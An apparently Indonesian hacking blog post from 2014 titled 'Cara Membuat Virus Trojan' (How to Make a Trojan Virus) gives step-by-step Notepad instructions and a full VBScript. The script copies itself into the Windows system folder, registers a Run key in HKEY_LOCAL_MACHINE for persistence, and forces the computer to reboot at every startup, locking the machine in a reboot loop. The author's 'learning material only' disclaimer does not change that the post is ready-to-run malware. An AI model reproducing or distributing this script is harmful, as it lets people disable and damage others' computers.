Cara Membuat Virus Trojan

Admin

Cracking, Gratisan, Hacking, Software, Tools

Wednesday, May 28, 2014

Belum ada komentar

sebelumnya saya sudah membahas Cara Membuat Virus Untuk Memformat Hardisk nah sekarang saya akan membahas Cara Membuat Virus Trojan . Apa sih virus trojan itu ?? Nama Aslinya Trojan Horse. jadi membuat nya tuh gampang banget lohh :o. tinggal campur tepung sama air ^_^. udah ah ga usah pakai basa basi lagi :D
yuk langsung saja langsung ke TKP  ... cekibrottt...

Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho .


1. Buka Notepad | All Program > Notepad
2. Copy Dan Pate Script Berikut Ke Notepad !

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”
sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),”"”")
set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function
function rebootSystem()
strComputer = “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″)
Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

 3.Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh Archilles.VBS , Nyimpennya Harus All Files
4. Jangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh

Catatan : Saya Tidak Bertanggung Jawab Atas Apa Yang Anda Lakukan Ini Hanya Materi Pembelajaran